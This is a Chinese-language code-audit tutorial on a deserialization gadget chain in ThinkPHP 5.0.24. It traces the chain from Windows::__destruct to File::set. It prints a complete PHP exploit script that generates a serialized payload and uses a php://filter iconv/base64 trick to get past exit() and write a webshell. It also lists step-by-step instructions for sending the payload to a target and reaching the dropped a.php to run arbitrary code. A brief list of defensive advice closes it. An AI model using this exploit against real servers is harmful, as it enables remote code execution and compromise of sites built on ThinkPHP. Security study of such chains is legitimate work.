ThinkPHP 5.0.X代码审计
字数 1617 2025-08-26 22:11:23

ThinkPHP 5.0.X 反序列化漏洞分析与利用

环境准备

  • 软件工具:

    • PHPSTORM
    • Seay源代码审计系统
    • Phpstudy_pro (PHP 7.3.4)
    • Xdebug (参考暗月教程配置)
  • 目标框架:

    • ThinkPHP 5.0.24

目录结构分析

www/                     WEB部署目录
├── application/         应用目录
│   ├── common/           公共模块目录
│   ├── module_name/      模块目录
│   │   ├── config.php    模块配置文件
│   │   ├── common.php    模块函数文件
│   │   ├── controller/   控制器目录
│   │   ├── model/        模型目录
│   │   └── view/         视图目录
│   ├── command.php       命令行工具配置文件
│   ├── common.php        公共函数文件
│   ├── config.php        公共配置文件
│   ├── route.php         路由配置文件
│   └── tags.php          应用行为扩展定义文件
├── public/               WEB目录(对外访问目录)
│   ├── index.php         入口文件
│   ├── router.php        快速测试文件
│   └── .htaccess         用于apache的重写
├── thinkphp/            框架系统目录
│   ├── lang/             语言文件目录
│   ├── library/          框架类库目录
│   │   ├── think/        Think类库包目录
│   │   └── traits/       系统Trait目录
│   ├── tpl/              系统模板目录
│   ├── base.php          基础定义文件
│   ├── console.php       控制台入口文件
│   ├── convention.php    框架惯例配置文件
│   ├── helper.php        助手函数文件
│   ├── phpunit.xml       phpunit配置文件
│   └── start.php         框架入口文件
├── extend/              扩展类库目录
├── runtime/             应用的运行时目录(可写,可定制)
├── vendor/              第三方类库目录(Composer依赖库)
├── build.php            自动生成定义文件
├── composer.json        composer定义文件
├── LICENSE.txt          授权说明文件
└── README.md            README文件

漏洞利用前提

  1. 需要二次开发,在控制器中手动添加反序列化点:
public function index() {
    echo "Welcome thinkphp 5.0.24";
    unserialize(base64_decode($_GET['a']));
    // 其他代码...
}

反序列化利用链分析

入口点选择

常见魔术方法作为入口点:

  • __wakeup() - 反序列化后自动调用
  • __destruct() - 对象销毁前调用(主要利用点)
  • __toString() - 对象被当作字符串输出时调用

利用链流程

  1. 起点Windows.php中的__destruct()方法

    • 调用removeFiles()方法
    • 其中file_exists()函数会触发__toString()
  2. 跳板1Model.php中的__toString()方法

    • 调用toJson()方法
    • 进而调用toArray()方法
  3. 跳板2toArray()方法中的可控函数调用

    • 通过控制$append数组触发getError()方法
    • 控制$modelRelation变量
  4. 跳板3Output.php中的__call()方法

    • 通过call_user_func_array()实现函数调用
    • 最终调用Memcache.php中的write()方法
  5. 最终利用File.php中的set()方法

    • 使用file_put_contents()写入Webshell
    • 需要绕过exit()限制

关键类分析

  1. Windows类 (think\process\pipes\Windows)

    • 关键方法:__destruct(), removeFiles()
    • 控制$files数组触发__toString()
  2. Model类 (think\Model)

    • 关键方法:__toString(), toArray()
    • 通过$append$error控制执行流程
  3. HasOne类 (think\model\relation\HasOne)

    • 继承自OneToOne
    • 提供getBindAttr()方法
  4. Output类 (think\console\Output)

    • 关键方法:__call()
    • 通过$styles控制可调用方法
  5. File类 (think\cache\driver\File)

    • 关键方法:set()
    • 最终利用file_put_contents()写入文件

完整利用链

Windows::__destruct()
    -> Windows::removeFiles()
        -> file_exists()触发__toString()
            -> Model::__toString()
                -> Model::toJson()
                    -> Model::toArray()
                        -> 通过$append触发getError()
                            -> 控制$modelRelation
                                -> Output::__call()
                                    -> call_user_func_array()
                                        -> Memcache::write()
                                            -> File::set()
                                                -> file_put_contents()

EXP构造

<?php
namespace think\process\pipes {
    abstract class Pipes {}
}

namespace think\process\pipes {
    class Windows extends Pipes {
        private $files = [];
        public function __construct($Pivot) {
            $this->files = [$Pivot];
        }
    }
}

namespace think {
    abstract class Model {
        protected $append = [];
        protected $error = null;
        protected $parent;
        function __construct($output, $modelRelation) {
            $this->parent = $output;
            $this->append = array("1" => "getError");
            $this->error = $modelRelation;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        function __construct($output, $modelRelation) {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation {
    class HasOne extends OneToOne {}
}

namespace think\model\relation {
    abstract class OneToOne {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query) {
            $this->selfRelation = 0;
            $this->query = $query;
            $this->bindAttr = ['xxx'];
        }
    }
}

namespace think\db {
    class Query {
        protected $model;
        function __construct($model) {
            $this->model = $model;
        }
    }
}

namespace think\console {
    class Output {
        protected $styles = ["getAttr"];
        private $handle;
        public function __construct($handle) {
            $this->handle = $handle;
        }
    }
}

namespace think\session\driver {
    class Memcached {
        protected $handler;
        public function __construct($handler) {
            $this->handler = $handler;
        }
    }
}

namespace think\cache\driver {
    class File {
        protected $options = null;
        protected $tag;
        public function __construct() {
            $this->options = [
                'expire' => 0,
                'cache_subdir' => '0',
                'prefix' => '0',
                'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php',
                'data_compress' => false,
            ];
            $this->tag = '1';
        }
    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
    echo base64_encode(serialize($window));
}

漏洞利用步骤

  1. 将上述EXP代码保存为exp.php
  2. 执行php exp.php生成payload
  3. 访问目标URL:http://target/index.php/Index/index?a=[生成的payload]
  4. Webshell将被写入到a.php文件中
  5. 访问http://target/a.php执行任意PHP代码

关键绕过技术

  1. exit()绕过

    • 使用PHP伪协议php://filter
    • 结合convert.iconv.utf-8.utf-7convert.base64-decode过滤器
    • 构造特定格式的base64编码内容
  2. 文件路径控制

    • 通过$options['path']控制写入路径
    • 使用../进行目录穿越
    • 最终文件名由md5(tag_md5("1"))决定

防御建议

  1. 避免直接反序列化用户输入
  2. 升级到最新版本的ThinkPHP
  3. 对关键类进行限制,防止被反序列化
  4. 使用__wakeup()__destruct()方法进行安全检查
  5. 限制文件系统操作权限

参考链接

  1. PHP反序列化死亡绕过
  2. ThinkPHP官方文档
ThinkPHP 5.0.X 反序列化漏洞分析与利用 环境准备 软件工具 : PHPSTORM Seay源代码审计系统 Phpstudy_ pro (PHP 7.3.4) Xdebug (参考暗月教程配置) 目标框架 : ThinkPHP 5.0.24 目录结构分析 漏洞利用前提 需要二次开发,在控制器中手动添加反序列化点: 反序列化利用链分析 入口点选择 常见魔术方法作为入口点: __wakeup() - 反序列化后自动调用 __destruct() - 对象销毁前调用(主要利用点) __toString() - 对象被当作字符串输出时调用 利用链流程 起点 : Windows.php 中的 __destruct() 方法 调用 removeFiles() 方法 其中 file_exists() 函数会触发 __toString() 跳板1 : Model.php 中的 __toString() 方法 调用 toJson() 方法 进而调用 toArray() 方法 跳板2 : toArray() 方法中的可控函数调用 通过控制 $append 数组触发 getError() 方法 控制 $modelRelation 变量 跳板3 : Output.php 中的 __call() 方法 通过 call_user_func_array() 实现函数调用 最终调用 Memcache.php 中的 write() 方法 最终利用 : File.php 中的 set() 方法 使用 file_put_contents() 写入Webshell 需要绕过 exit() 限制 关键类分析 Windows类 ( think\process\pipes\Windows ) 关键方法: __destruct() , removeFiles() 控制 $files 数组触发 __toString() Model类 ( think\Model ) 关键方法: __toString() , toArray() 通过 $append 和 $error 控制执行流程 HasOne类 ( think\model\relation\HasOne ) 继承自 OneToOne 提供 getBindAttr() 方法 Output类 ( think\console\Output ) 关键方法: __call() 通过 $styles 控制可调用方法 File类 ( think\cache\driver\File ) 关键方法: set() 最终利用 file_put_contents() 写入文件 完整利用链 EXP构造 漏洞利用步骤 将上述EXP代码保存为 exp.php 执行 php exp.php 生成payload 访问目标URL: http://target/index.php/Index/index?a=[生成的payload] Webshell将被写入到 a.php 文件中 访问 http://target/a.php 执行任意PHP代码 关键绕过技术 exit()绕过 : 使用PHP伪协议 php://filter 结合 convert.iconv.utf-8.utf-7 和 convert.base64-decode 过滤器 构造特定格式的base64编码内容 文件路径控制 : 通过 $options['path'] 控制写入路径 使用 ../ 进行目录穿越 最终文件名由 md5(tag_md5("1")) 决定 防御建议 避免直接反序列化用户输入 升级到最新版本的ThinkPHP 对关键类进行限制,防止被反序列化 使用 __wakeup() 或 __destruct() 方法进行安全检查 限制文件系统操作权限 参考链接 PHP反序列化死亡绕过 ThinkPHP官方文档